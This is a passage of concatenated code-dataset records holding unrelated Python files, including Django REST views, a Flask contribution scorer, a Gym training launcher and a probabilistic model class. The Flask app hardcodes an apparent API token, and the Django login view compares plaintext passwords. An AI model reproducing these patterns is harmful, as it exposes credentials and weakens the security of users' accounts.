0)\n else:\n fnum += self.formatadir(dd, dirname, me.group(1))\n else:\n cnum += self.checkadir(dd, dirname, me.group(1))\n\n print(\"done %s:(%d, %d)\" % (dd, cnum, fnum))\n return (cnum, fnum)\n\n def gothrough(self, dd):\n if not os.path.exists(os.path.dirname(dd)):\n print(\"the path is not exist: \" + dd)\n return (0, 0)\n\n fnum = 0\n cnum = 0\n for root, dirs, files in os.walk(dd):\n for d in dirs:\n fullpath = os.path.join(root, d)\n if None != fullpath:\n (ccnum, ffnum) = self.goadir(fullpath, d)\n fnum += ffnum\n cnum += ccnum\n\n return (cnum, fnum)\n\n def run(self):\n try:\n print(\"Done: \" + str(self.gothrough(self.options.srcpath)))\n\n except (RunException) as e:\n self.failed = True\n self.logger.error(\"%s\" % e)\n raise\n\n\n################################################################################\n#\nclass RunException(RuntimeError):\n def __init__(self, message):\n self.message = message\n\n def __str__(self):\n return self.message\n\n\n################################################################################\n#\ndef main():\n exit_code = 0\n try:\n with Main() as main:\n main.run()\n except RunException as e:\n exit_code = 1\n except SystemExit:\n raise\n except:\n print(\"=\" * 80)\n print(\"fatal: %s\" % traceback.format_exc().strip())\n print(\"=\" * 80)\n exit_code = 2\n sys.exit(exit_code)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"pman/mvdddate.py","file_name":"mvdddate.py","file_ext":"py","file_size_in_byte":6838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"336065575","text":"import mixins as mixins\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom rest_framework import status\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework import mixins\nfrom rest_framework import viewsets\nfrom drf_day4.models import Book, User\nfrom drf_day4.serializers import BookModelSerializerV2, BookModelSerializerV3, UserModelSerializer\n\n\nclass BookView(APIView):\n def get(self, request, *args, **kwargs):\n\n return Response('ok')\n #群体修改(需要在序列化类的Meta类中添加list_serializer_class = BookListSerializer)\n\n def patch(self, request, *args, **kwargs):\n request_data = request.data\n book_id = kwargs.get(\"id\")\n if book_id and isinstance(request_data, dict):\n book_ids = [book_id]\n request_data = [request_data]\n elif not book_id and isinstance(request_data, list):\n book_ids = []\n for dic in request_data:\n pk = dic.pop('id', None)\n if pk:\n book_ids.append(pk)\n else:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'message': '参数中缺少书的id',\n })\n else:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'message': '参数格式错误',\n })\n book_list = []\n new_data = []\n for index, pk in enumerate(book_ids):\n try:\n book_obj = Book.objects.get(pk=pk)\n book_list.append(book_obj)\n new_data.append(request_data[index])\n except Book.DoesNotExist:\n continue\n se_book = BookModelSerializerV2(data=new_data, instance=book_list, partial=True, many=True)\n se_book.is_valid(raise_exception=True)\n se_book.save()\n\n return Response({\n 'status': status.HTTP_200_OK,\n 'message': '修改成功',\n })\n\n\nclass BookGenericAPIView(GenericAPIView,\n mixins.CreateModelMixin,\n mixins.DestroyModelMixin,\n mixins.RetrieveModelMixin,\n mixins.ListModelMixin,\n mixins.UpdateModelMixin):\n queryset = Book.objects.filter()\n serializer_class = BookModelSerializerV3\n lookup_field = 'id'\n #只继承了GenericAPIView的写法\n\n # 查询所有的书\n # def get(self, request, *args, **kwargs):\n # book_list = self.get_queryset()\n # se_data = self.get_serializer(book_list, many=True)\n # return Response({\n # 'status': status.HTTP_200_OK,\n # 'message': '查询所有的书',\n # 'result': se_data.data\n # })\n\n def post(self, request, *args, **kwargs):\n return self.create(request, *args, **kwargs)\n\n def delete(self, request, *args, **kwargs):\n return self.destroy(request, *args, **kwargs)\n\n def get(self, request, *args, **kwargs):\n if 'id' in kwargs:\n return self.retrieve(request, *args, **kwargs)\n return self.list(request, *args, **kwargs)\n\n def put(self, request, *args, **kwargs):\n return self.partial_update(request, *args, **kwargs)\n\n\nclass UserViewSetViewRegister(viewsets.ViewSet):\n def user_register(self, request, *args, **kwargs):\n data = request.data\n re_data = UserModelSerializer(data=data)\n re_data.is_valid(raise_exception=True)\n re_data.save()\n return Response('注册成功')\n\nclass UserViewSetView(viewsets.ViewSet):\n def user_login(self, request, *args, **kwargs):\n data = request.data\n username = data.get('username')\n password = data.get('password')\n try:\n res = User.objects.get(username=username)\n\n if res.password == password:\n data = UserModelSerializer(res).data\n return Response({\n 'status': status.HTTP_200_OK,\n 'message': '登陆成功',\n 'result': data\n })\n else:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'message': '密码错误'\n })\n except:\n return Response({\n 'status': status.HTTP_400_BAD_REQUEST,\n 'message': '用户名不存在'\n })","sub_path":"drf_views/drf_day4/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"187641872","text":"import torch\nfrom train import build_model\n\n\ndef main():\n\n model = build_model('resnet34', 'square_crop', pretrained=True)\n print(model)\n\n input1 = torch.zeros(32, 1, 137, 236)\n input2 = torch.zeros(32, 1, 128, 128)\n out = model.forward((input1, input2))\n print(out.shape)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"source/02_nn_solution/debug_model.py","file_name":"debug_model.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"10007924","text":"from flask import Flask, render_template, request, jsonify\r\n\r\nimport os\r\nimport sys\r\nimport redis\r\nfrom utility import utility, cron\r\nimport requests\r\nfrom requests.exceptions import HTTPError\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/api/say_name', methods=['POST'])\r\ndef say_name():\r\n\r\n token = \"f87530ffe266b45d10f78e197dc6aa8b7208d397\"\r\n json = request.get_json()\r\n org = json['first_name']\r\n org1 = json['last_name']\r\n print(org,org1)\r\n redis = None\r\n res = utility.leaderboard(token, org,redis)\r\n res1 = utility.leaderboard(token,org1,redis)\r\n scr = 0 \r\n scr1 = 0\r\n for key in res:\r\n scr += res[key]\r\n for key in res1:\r\n scr1 += res1[key]\r\n word = org + \" score is \" + str(scr)\r\n word1 = org1 + \" score is \" + str(scr1)\r\n\r\n return jsonify(first_name=word, last_name=word1)\r\n\r\n@app.route('/api/contribution', methods=['POST'])\r\ndef contribution():\r\n token = \"f87530ffe266b45d10f78e197dc6aa8b7208d397\"\r\n json = request.get_json()\r\n name = json['first_name']\r\n org = json['last_name']\r\n redis = None\r\n res = utility.leaderboard(token, org,redis)\r\n scr = 0\r\n scr1 =0\r\n print(res)\r\n for key in res:\r\n scr += res[key]\r\n for i in res:\r\n print(i)\r\n if name == i:\r\n print(name)\r\n scr1 = res[name]\r\n score = 0\r\n score = round((scr1/scr)*100,2)\r\n break\r\n else :\r\n score = \"check name properly\" \r\n\r\n return jsonify(first_name=name, last_name=score)\r\n\r\n@app.route('/api/compare', methods=['POST'])\r\ndef compare():\r\n token = \" f87530ffe266b45d10f78e197dc6aa8b7208d397\"\r\n json = request.get_json()\r\n name = json['first_name']\r\n org = json['org1']\r\n org1 = json['org2']\r\n print(org1)\r\n redis = None\r\n res = utility.leaderboard(token, org,redis)\r\n scr = 0\r\n scr1 =0\r\n print(res)\r\n for key in res:\r\n scr += res[key]\r\n \r\n for i in res:\r\n if name == i:\r\n \r\n scr1 = res[name]\r\n print(scr,scr1)\r\n score = 0\r\n score = round((scr1/scr)*100,2)\r\n break\r\n else :\r\n score = \"check name properly\" \r\n res1 = utility.leaderboard(token, org1,redis)\r\n scr2 = 0\r\n scr3 =0\r\n print(res1)\r\n for key in res1:\r\n scr3 += res1[key]\r\n \r\n for i in res1:\r\n if name == i and scr3 != 0:\r\n scr2 = res1[name]\r\n score1 = 0\r\n print(scr2,scr3)\r\n score1 = round((scr2/scr3)*100,2)\r\n break\r\n elif scr3 == 0:\r\n print(\"No contribution towards one of the chapter\")\r\n else :\r\n score1 = \"check name properly\" \r\n word = name + \" Contribution towards \" + org + \" is \"+ str(score)+\"\\n\"\r\n word1 =\"and Contribution towards \" + org1 + \" is \"+ str(score1)\r\n return jsonify(first_name=word, last_name=word1)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n \r\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"381677574","text":"import argparse\nimport gym\nimport os\nfrom gym import wrappers, logger\nfrom models import PGAgent, DQNAgent, DDPGAgent, TD3Agent, test_one_episode\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(\n description=\"Reinforcement Learning Algorithm for OpenAI Gym Benchmark\")\n parser.add_argument('--env_name', type=str, default='CartPole-v0',\n help='Select the environment to run')\n parser.add_argument('--output_path', type=str, default=os.getcwd(),\n help='Output path for saving records or models')\n parser.add_argument('--mode', default='train', type=str,\n help='Optional: [train, resume, test]')\n parser.add_argument('--env_seed', type=int, default=0,\n help='Seed for environment')\n parser.add_argument('--episodes', type=int, default=1000,\n help='Episode for training')\n parser.add_argument('--lr', type=float, default=1e-3,\n help='Learning rate for training')\n parser.add_argument('--checkpoint', default='',\n help='Checkpoint for resume or testing')\n parser.add_argument('--save_record', action='store_true',\n help='Save record or not')\n\n args = parser.parse_args()\n\n logger.set_level(logger.INFO)\n\n record_save_path = os.path.join(args.output_path, args.env_name, \"records\")\n ckpt_save_path = os.path.join(\n args.output_path, args.env_name, \"checkpoint\")\n os.makedirs(record_save_path, exist_ok=True)\n os.makedirs(ckpt_save_path, exist_ok=True)\n\n env = gym.make(args.env_name)\n\n # seed for reproducible random numbers\n if args.env_seed:\n env.seed(args.env_seed)\n\n if isinstance(env.action_space, gym.spaces.discrete.Discrete):\n total_actions = env.action_space.n\n elif isinstance(env.action_space, gym.spaces.box.Box):\n total_actions = env.action_space.shape[0]\n\n state_dims = env.observation_space.shape[0]\n action_bound = float(env.action_space.high[0])\n logger.info(f\" == action space: {env.action_space}\")\n logger.info(f\" == action bound: {env.action_space.high}\")\n logger.info(f\" == observation space: {env.observation_space}\")\n if args.save_record:\n env = wrappers.Monitor(\n env,\n directory=record_save_path,\n video_callable=lambda count: (count) % 50 == 0,\n force=True\n )\n agent = TD3Agent(\n lr=args.lr,\n state_dims=state_dims,\n action_dims=total_actions,\n env_name=args.env_name,\n ckpt_save_path=ckpt_save_path,\n action_bound=action_bound,\n gamma=0.99,\n fc1_dims=128,\n fc2_dims=128\n )\n\n if args.mode == \"resume\":\n agent.load_model(args.checkpoint)\n logger.info(f\" == model {args.checkpoint} loaded, continue to train\")\n agent.train(env, args.episodes)\n elif args.mode == \"test\":\n agent.load_model(args.checkpoint, test=True)\n logger.info(f\" == model {args.checkpoint} loaded, start to test\")\n test_one_episode(agent, env)\n else:\n logger.info(f\" == start to train from scratch\")\n agent.train(env, args.episodes)\n\n # close the env and write monitor result info to disk\n env.close()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"110915134","text":"# ...mathematical operations...\nimport sympy as sym\n#import logpy as log\n#from logpy import run, var, fact\nfrom kanren import var, run, fact\nimport kanren.assoccomm as la\n\n# ...we define two operations...\nadd = 'addition'\nmul = 'multiplication'\n\n# ...and its properties (conmutativity)...\nfact(la.commutative, mul)\nfact(la.commutative, add)\nfact(la.associative, mul)\nfact(la.associative, add)\n\n# ...we define logical variables...\na, b, c = var('a'), var('b'), var('c')\nexpression_orig = (add, (mul, 3, -2), (mul, (add, 1, (mul, 2, 3)), -1))\nexpression1 = (add, (mul, (add, 1, (mul, 2, a)), b), (mul, 3, c))\nexpression2 = (add, (mul, c, 3), (mul, b, (add, (mul, 2, a), 1)))\nexpression3 = (add, (add, (mul, (mul, 2, a), b), b), (mul, 3, c))\n\n# Compare expressions\nprint(run(0, (a, b, c), la.eq_assoccomm(expression1, expression_orig)))\nprint(run(0, (a, b, c), la.eq_assoccomm(expression2, expression_orig)))\nprint(run(0, (a, b, c), la.eq_assoccomm(expression3, expression_orig)))\n","sub_path":"python-examples-logic-programming/script1.py","file_name":"script1.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"380419586","text":"class GameState:\n def __init__(self, world, player_uuid_to_player_type_map, player_index_to_uuid_map, enemy_uuids):\n self.world = world\n self.player_uuid_to_player_type_map = player_uuid_to_player_type_map\n self.player_index_to_uuid_map = player_index_to_uuid_map\n self.enemy_uuids = enemy_uuids\n\n\nclass PlayerState:\n def __init__(self, friendly_unit):\n self.friendly_unit = friendly_unit\n self.friendly_territory = friendly_unit.territory\n self.friendly_body = friendly_unit.body\n self.friendly_status = friendly_unit.status\n\n\nclass MoveRequest:\n def __init__(self, uuid_to_core_map):\n self.uuid_to_core_map = uuid_to_core_map\n","sub_path":"PyCharm/Libraries/PythonClientAPI/game/GameState.py","file_name":"GameState.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"122728026","text":"import numpy as np\nimport matplotlib.pylab as plt\nimport matplotlib as mpl\n\ndef sigmoid(x):\n return 1/(1+np.exp(-x))\n\ndef relu(x):\n return np.maximum(0,x)\n \nx = np.arange(-5.0, 5.0, 0.1)\ny1 = sigmoid(x)\ny2 = relu(x)\n\nplt.plot(x, y1)\nplt.plot([0,0],[1.0,0.0], ':')\nplt.ylim(-0.1, 1.1) #y축 범위 지정\nplt.title('Sigmoid Function')\nplt.show()\n\nplt.plot(x, y2)\nplt.plot([0,0],[1.0,0.0], ':')\nplt.ylim(-0.1, 1.1) #y축 범위 지정\nplt.title('ReLu Function')\nplt.show()","sub_path":"Machine_Learning/자료/Example/Python NN/function_test.py","file_name":"function_test.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"141121847","text":"# demo 2d scanner. \n#\n# author: wolfgang pfaff \n\nfrom instrument import Instrument\nfrom cyclopean_instrument import CyclopeanInstrument\nimport types\nimport time\nimport numpy\n\nimport qt\n\nclass scan2d_demo(CyclopeanInstrument):\n def __init__(self, name):\n CyclopeanInstrument.__init__(self, name, tags=['measure'])\n\n # also get the counter, need to disable when linescanning\n self._counters = qt.instruments['counters_demo']\n self._counter_was_running = False\n\n # add the relevant parameters for a 2D PL scanner\n self.add_parameter('pixel_time', type=types.FloatType,\n flags=Instrument.FLAG_GETSET,\n units='ms',\n minval=1.0, maxval=99.0,\n doc=\"\"\"\n Integration time per image pixel.\n \"\"\")\n\n self.add_parameter('xstart',\n type=types.FloatType,\n flags=Instrument.FLAG_GETSET,\n units='um')\n \n self.add_parameter('xstop',\n type=types.FloatType,\n flags=Instrument.FLAG_GETSET,\n units='um')\n \n self.add_parameter('ystart',\n type=types.FloatType,\n flags=Instrument.FLAG_GETSET,\n units='um')\n \n self.add_parameter('ystop',\n type=types.FloatType,\n flags=Instrument.FLAG_GETSET,\n units='um')\n \n self.add_parameter('xsteps',\n type=types.IntType,\n flags=Instrument.FLAG_GETSET,\n units='')\n \n self.add_parameter('ysteps',\n type=types.IntType,\n flags=Instrument.FLAG_GETSET,\n units='')\n \n self.add_parameter('last_line_index',\n type=types.ObjectType,\n flags=Instrument.FLAG_GET,\n units='',\n doc=\"\"\"\n Returns the index of the last line of which data \n is available.\n \"\"\")\n \n self.add_parameter('last_line',\n type=types.ObjectType,\n flags=Instrument.FLAG_GET,\n units='cps',\n doc=\"\"\"\n Returns the last line of the measured data.\n \"\"\")\n \n self.add_parameter('counter',\n type=types.IntType,\n flags=Instrument.FLAG_GETSET)\n\n\n # relevant functions to be visible outside\n self.add_function('get_line')\n self.add_function('get_lines')\n self.add_function('get_x')\n self.add_function('get_y')\n self.add_function('get_data')\n self.add_function('setup_data')\n # self.add_function('move_abs_xy')\n\n # default params\n self.set_pixel_time(1.0)\n self.set_xstart(-2.0)\n self.set_xstop(2.0)\n self.set_ystart(-2.0)\n self.set_ystop(2.0)\n self.set_xsteps(11)\n self.set_ysteps(11)\n self.set_counter(1) \n \n # more set up\n self.setup_data() \n self._current_line = 0\n self._last_line = 0\n self._busy = False\n\n self._supported = {\n 'get_running': True,\n 'get_recording': False,\n 'set_running': False,\n 'set_recording': False,\n 'save': True,\n }\n\n # get and set functions\n def do_set_pixel_time(self, val):\n self._pixel_time = val\n\n def do_get_pixel_time(self):\n return self._pixel_time\n\n def do_set_measuring(self, val):\n self._measuring = val\n\n def do_get_measuring(self):\n return self._measuring\n\n def do_set_xstart(self, val):\n self._xstart = val\n\n def do_get_xstart(self):\n return self._xstart\n\n def do_set_xstop(self, val):\n self._xstop = val\n\n def do_get_xstop(self):\n return self._xstop\n\n def do_set_ystart(self, val):\n self._ystart = val\n\n def do_get_ystart(self):\n return self._ystart\n\n def do_set_ystop(self, val):\n self._ystop = val\n\n def do_get_ystop(self):\n return self._ystop\n\n def do_set_xsteps(self, val):\n self._xsteps = val\n\n def do_get_xsteps(self):\n return self._xsteps\n\n def do_set_ysteps(self, val):\n self._ysteps = val\n\n def do_get_ysteps(self):\n return self._ysteps\n\n def do_get_last_line(self):\n return self._data[self._last_line,:].tolist()\n\n def do_get_last_line_index(self):\n return self._last_line\n\n def do_set_counter(self, val):\n self._counter = val\n\n def do_get_counter(self):\n return self._counter\n \n\n # the publicly visible functions declared above\n def get_line(self, line): \n return self._data[line,:].tolist()\n\n def get_lines(self, lines):\n return self._data[lines,:].tolist()\n\n def get_x(self):\n return self._x\n\n def get_y(self):\n return self._y\n \n def get_data(self):\n return self._data.tolist()\n \n def setup_data(self):\n self.reset_data('scan', (self._ysteps, self._xsteps))\n \n self._x = numpy.r_[self._xstart:self._xstop:self._xsteps*1j]\n self._y = numpy.r_[self._ystart:self._ystop:self._ysteps*1j]\n self.set_data('x', self._x)\n self.set_data('y', self._y)\n \n # setup demo data\n xx, yy = numpy.meshgrid(self._x, self._y)\n self._demo_data = numpy.exp(-xx**2-yy**2)\n\n # overloading save function\n def save(self, meta=\"\"):\n CyclopeanInstrument.save(self, meta)\n\n \n # internal functions\n def _start_running(self):\n CyclopeanInstrument._start_running(self)\n\n # make sure the counter is off.\n if self._counters.get_is_running():\n self._counter_was_running = True\n self._counters.set_is_running(False)\n \n self.setup_data()\n self._current_line = 0\n self._last_line = 0\n self._next_line()\n\n def _stop_running(self):\n if self._counter_was_running:\n self._counters.set_is_running(True)\n self._counter_was_running = False\n return\n \n def _sampling_event(self):\n if not self._is_running:\n return False\n \n if self._busy: \n if time.time() < self._line_start_time + self._x.size * self._pixel_time / 1000.:\n return True\n else:\n self._busy = False\n \n self.set_data('scan', self._demo_data[self._current_line,:],\n [slice(self._current_line, self._current_line+1)])\n self._last_line = self._current_line\n self._current_line += 1\n \n if self._current_line <= self._y.size - 1:\n self._next_line()\n return True\n else:\n self.save() \n self.set_is_running(False)\n if self._counter_was_running:\n self._counters.set_is_running(True)\n self._counter_was_running = False\n return False\n\n def _next_line(self):\n self._busy = True\n self._line_start_time = time.time()\n return True\n\n \n","sub_path":"instruments/scan2d_autodatatransfer_demo.py","file_name":"scan2d_autodatatransfer_demo.py","file_ext":"py","file_size_in_byte":7674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"519304106","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2015-2016 MIT Probabilistic Computing Project\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport math\nimport time\n\nimport numpy as np\n\nfrom cgpm.cgpm import CGpm\nfrom cgpm.utils import general as gu\n\n\nclass PieceWise(CGpm):\n \"\"\"Generates data from a linear model with a 2-mixture over the slope.\n\n y := exogenous covariate\n z ~ Bernoulli(.5)\n x | z; y = y + (2*z - 1) + Normal(0, \\sigma)\n \"\"\"\n\n def __init__(self, outputs, inputs, sigma=None, flip=None, distargs=None,\n rng=None):\n if rng is None:\n rng = gu.gen_rng(1)\n if sigma is None:\n sigma = 1\n if flip is None:\n flip = .5\n assert len(outputs) == 2\n assert len(inputs) == 1\n self.outputs = list(outputs)\n self.inputs = list(inputs)\n self.sigma = sigma\n self.flip = flip\n self.rng = rng\n\n def incorporate(self, rowid, observation, inputs=None):\n return\n\n def unincorporate(self, rowid):\n return\n\n @gu.simulate_many\n def simulate(self, rowid, targets, constraints=None, inputs=None, N=None):\n assert targets\n assert inputs.keys() == self.inputs\n y = inputs[self.inputs[0]]\n # Case 1: No constraints on outputs.\n if not constraints:\n z = self.rng.choice([0, 1], p=[self.flip, 1-self.flip])\n x = y + (2*z-1) + self.rng.normal(0, self.sigma)\n sample = {}\n if self.outputs[0] in targets:\n sample[self.outputs[0]] = x\n if self.outputs[1] in targets:\n sample[self.outputs[1]] = z\n # Case 2: Simulating x given the z.\n elif constraints.keys() == [self.outputs[1]]:\n assert targets == [self.outputs[0]]\n z = constraints[self.outputs[1]]\n x = y + (2*z - 1) + self.rng.normal(0, self.sigma)\n sample = {self.outputs[0]: x}\n # Case 3: Simulating z given the x.\n elif constraints.keys() == [self.outputs[0]]:\n assert targets == [self.outputs[1]]\n # Compute probabilities for z | x,y\n p_z0 = self.logpdf(rowid, {self.outputs[1]: 0}, constraints, inputs)\n p_z1 = self.logpdf(rowid, {self.outputs[1]: 1}, constraints, inputs)\n z = self.rng.choice([0, 1], p=[np.exp(p_z0), np.exp(p_z1)])\n sample = {self.outputs[1]: z}\n else:\n raise ValueError('Invalid query pattern: %s, %s, %s'\n % (targets, constraints, inputs))\n assert sorted(sample.keys()) == sorted(targets)\n return sample\n\n def logpdf(self, rowid, targets, constraints=None, inputs=None):\n assert targets\n assert inputs.keys() == self.inputs\n y = inputs[self.inputs[0]]\n # Case 1: No evidence on outputs.\n if not constraints:\n # Case 1.1: z in the targets and x in the targets.\n if self.outputs[0] in targets and self.outputs[1] in targets:\n z, x = targets[self.outputs[1]], targets[self.outputs[1]]\n # XXX Check if z in [0, 1]\n logp_z = np.log(self.flip) if z == 0 else np.log(1-self.flip)\n logp_x = logpdf_normal(x, y + (2*z - 1), self.sigma)\n logp = logp_x + logp_z\n # Case 1.2: z in the targets only.\n elif self.outputs[1] in targets:\n z = targets[self.outputs[1]]\n logp_z = np.log(self.flip) if z == 0 else np.log(1-self.flip)\n logp = logp_z\n # Case 1.2: x in the targets only.\n elif self.outputs[0] in targets:\n x = targets[self.outputs[0]]\n logp_xz0 = self.logpdf(\n rowid,\n {self.outputs[0]: x, self.outputs[1]: 0},\n constraints,\n inputs\n )\n logp_xz1 = self.logpdf(\n rowid,\n {self.outputs[0]: x, self.outputs[1]: 1},\n constraints,\n inputs,\n )\n logp = gu.logsumexp([logp_xz0, logp_xz1])\n else:\n raise ValueError('Invalid query pattern: %s %s %s'\n % (targets, constraints, inputs))\n # Case 2: logpdf of x given the z.\n elif constraints.keys() == [self.outputs[1]]:\n assert targets.keys() == [self.outputs[0]]\n z = constraints[self.outputs[1]]\n x = targets[self.outputs[0]]\n logp_xz = self.logpdf(\n rowid,\n {self.outputs[0]: x, self.outputs[1]: z},\n None,\n {self.inputs[0]: y}\n )\n logp_z = self.logpdf(\n rowid,\n {self.outputs[1]: z},\n None,\n {self.inputs[0]: y}\n )\n logp = logp_xz - logp_z\n # Case 2: logpdf of z given the x.\n elif constraints.keys() == [self.outputs[0]]:\n assert targets.keys() == [self.outputs[1]]\n z = targets[self.outputs[1]]\n x = constraints[self.outputs[0]]\n logp_xz = self.logpdf(\n rowid,\n {self.outputs[0]: x, self.outputs[1]: z},\n None,\n {self.inputs[0]: y}\n )\n logp_x = self.logpdf(\n rowid,\n {self.outputs[0]: x},\n None,\n {self.inputs[0]: y}\n )\n logp = logp_xz - logp_x\n else:\n raise ValueError('Invalid query pattern: %s %s %s'\n % (targets, constraints, inputs))\n return logp\n\n def transition(self, N=None, S=None):\n time.sleep(.1)\n\n def to_metadata(self):\n metadata = dict()\n metadata['outputs'] = self.outputs\n metadata['inputs'] = self.inputs\n metadata['sigma'] = self.sigma\n metadata['flip'] = self.flip\n metadata['factory'] = ('cgpm.dummy.piecewise', 'PieceWise')\n return metadata\n\n @classmethod\n def from_metadata(cls, metadata, rng=None):\n if rng is None:\n rng = gu.gen_rng(0)\n return cls(\n outputs=metadata['outputs'],\n inputs=metadata['inputs'],\n sigma=metadata['sigma'],\n flip=metadata['flip'],\n rng=rng)\n\n\ndef logpdf_normal(x, mu, sigma):\n HALF_LOG2PI = 0.5 * math.log(2 * math.pi)\n deviation = x - mu\n return - math.log(sigma) - HALF_LOG2PI \\\n - (0.5 * deviation * deviation / (sigma * sigma))\n","sub_path":"src/dummy/piecewise.py","file_name":"piecewise.py","file_ext":"py","file_size_in_byte":7093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"189842377","text":"import os\r\nimport pandas as pd\r\nfrom copy import deepcopy\r\nfrom .CreateReport import CreateReport\r\nfrom ..utils import calculate_time_execute\r\n\r\n\r\nclass ValidationReporter:\r\n \"\"\"\r\n Класс управления вызовами проверок, порядком вызова и набора тестов.\r\n Парсит конфигурационный файл, создает и сохраняет файл валидационного\r\n отчета.\r\n\r\n Parameters:\r\n -----------\r\n models: dict\r\n Словарь моделей вида: {<имя модели>:\r\n (<объект модели>, <список фичей>)}\r\n\r\n config: dict\r\n Конфигурационный файл с параметрами запуска\r\n\r\n Attributes:\r\n ------------\r\n self.models: dict\r\n Копия словаря моделей для построения отчета\r\n\r\n self.writer: xlsxWriter\r\n Указатель на созданный файл для записи отчета\r\n\r\n self.current_path\r\n Путь к текущей директории\r\n\r\n self.checklist: list\r\n Список проверок, которые будут выполнены в ходе запуска\r\n\r\n self.categorical_features: list\r\n Список категориальных переменных\r\n\r\n self.drop_features: list\r\n Список мусорных или технических фичей\r\n\r\n self.hdbk: pd.DataFrame\r\n Ручной справочник с расшифровкой имен переменных\r\n \"\"\"\r\n\r\n def __init__(self,\r\n models: dict,\r\n names: list = None,\r\n config: dict = None,\r\n current_path: str = None) -> None:\r\n\r\n self.models = deepcopy(models)\r\n self.writer = None\r\n self.current_path = current_path\r\n\r\n # чтени доп. объектов из шаблона разработки\r\n try:\r\n self.encoder = self.models.pop(\"encoder\")\r\n except KeyError:\r\n self.encoder = None\r\n\r\n if config.get(\"log_target\", None):\r\n self.log_transformer = self.models.pop(\"log_target_transformer\")\r\n else:\r\n self.log_transformer = None\r\n\r\n # оставить только модели из списка на проверку\r\n if names is not None:\r\n self.models = {name: model for (name, model) in self.models.items()\r\n if name in names}\r\n\r\n # обновление списка кат. фичей из encoder\r\n if self.encoder is not None:\r\n self.categorical_features = self.encoder.cat_features\r\n else:\r\n self.categorical_features = config.get(\"categorical_features\",\r\n None)\r\n\r\n self.drop_features = config.get(\"drop_features\", None)\r\n\r\n self.model_type = config.get(\"model_type\", None)\r\n\r\n if self.model_type == \"binary_classification\":\r\n self.checklist = [\"data_stats\",\r\n \"Gini_vars\",\r\n \"models_report\",\r\n \"Gini_stability\",\r\n \"Permutation_imp\",\r\n \"PSI\",\r\n \"Uplift\"\r\n ]\r\n elif self.model_type == \"regression\":\r\n self.checklist = [\"data_stats\",\r\n \"TreeCorr\",\r\n \"models_report\",\r\n \"RegMetrics\",\r\n \"REC\",\r\n \"Permutation_imp\",\r\n \"PSI\"\r\n ]\r\n else:\r\n self.checklist = [\"data_stats\",\r\n \"Gini_vars\",\r\n \"models_report\",\r\n \"Gini_stability\",\r\n \"Permutation_imp\",\r\n \"SHAP\",\r\n \"PSI\"]\r\n\r\n self.hdbk_path = config.get(\"variables_description\", None)\r\n if self.hdbk_path is not None:\r\n try:\r\n self.hdbk = pd.read_excel(self.hdbk_path).set_index(\"variable\")\r\n print(\"Variable description has been read successfully\")\r\n except:\r\n self.hdbk = None\r\n print(\"Variables description has not been read\")\r\n else:\r\n self.hdbk = None\r\n\r\n self._set_working_dir(config)\r\n\r\n def _create_sub_dir(self):\r\n \"\"\"\r\n Создание под-директорий для сохранения отчетов.\r\n Создаются директории: docs - для сохранение отчета\r\n о моделях, images - сохранение графиков\r\n \"\"\"\r\n os.mkdir(f\"{self.current_path}/docs/\")\r\n os.mkdir(f\"{self.current_path}/images/\")\r\n\r\n def _set_working_dir(self, config: dict) -> None:\r\n \"\"\"\r\n Определение рабочей директории для сохранения файлов отчета\r\n устанавливает current_path в зависимости от config.\r\n\r\n Полагается, что если присутствует конфигурация model_path - модуль\r\n работает в режиме создания отчета для самостоятельно разработанной\r\n модели.\r\n\r\n Parameters:\r\n -----------\r\n config: dict\r\n Словарь с конфигурациями запуска\r\n \"\"\"\r\n if self.current_path is None:\r\n try:\r\n # список папок с номерами запусков\r\n dirs = [\r\n int(num) for num in os.listdir(\"runs/\")\r\n if not num.startswith(\".\")]\r\n\r\n if config.get(\"model_path\", None) is None:\r\n # Определить последний номер запуска разработки модели\r\n self.current_path = f\"runs/{max(dirs)}\"\r\n else:\r\n # Создать рабочие директории для отчета\r\n self.current_path = f\"runs/{max(dirs) + 1}\"\r\n os.mkdir(self.current_path)\r\n self._create_sub_dir()\r\n\r\n except 